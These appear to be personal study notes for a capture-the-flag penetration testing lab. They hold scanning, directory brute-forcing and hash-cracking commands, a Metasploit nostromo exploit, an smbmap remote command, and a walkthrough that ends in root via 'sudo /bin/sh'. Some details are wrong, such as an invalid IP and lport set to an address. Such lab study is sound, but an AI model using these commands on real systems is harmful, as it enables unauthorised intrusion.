CC: Pen Testing

CC: Pen Testing

IP Address: 10.10.144.189
Tool: Nmap
	Open port : 80
	Service : http ; Apache2 2.4.18

Tool: Netcat
	Used for reverse shell/bind shell connections
	nc -h for help

IP Address: 10.10.247.92
	Open Port:80
Tool: Gobuster
	gobuster dir -u 10.10.247.92 -w /usr/share/wordlists/dirbuster/<wordlist>

Tool: Nikto
	Also used for web enumeration
	nikto -h http://10.10.272.92

Tool: Metasploit
	This will cover the usage of command in msf. Also interaction with the meterpreter shell.
	IP Address: 10.10.16.67

	msf> use exploit/multi/http/nostromo_code_exec
		set rhost 10.10.16.67
		set rport 80
		set lport 10.4.0.94
		exploit

Hash cracking
Tool: Hashcat
	Hash cracking tool
	hashcat -m 0 -a 3 56ab24c15b72a457069c5ea42fcfc640

Tool: John the ripper
	john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5

SQL Injection
Tool: SQLMap
	https://owasp.org/www-community/attacks/SQL_Injection
	sqlmap -r sqldata.txt
		read from a file to perform sql injection attack

Tool: Smbmap (samba)
	smbmap -u admin -p password -H 10.10.10.10 -x "ipconfig"

Tool: smbclient

Final Attack Machine

IP address : 10.10.105.100

Scanning Nmap:
	Open Ports:
		22	SSH
		80	HTTP
Directory bruteforce with gobuster
	Hidden Folder : secret
	File : 10.10.105.100/secret/secret.txt
		username:password	=>	nyan:nyan
Login SSH
	ssh nyan@10.10.105.100
	got user.txt

sudo -l
    /bin/sh
sudo /bin/sh
got root.txt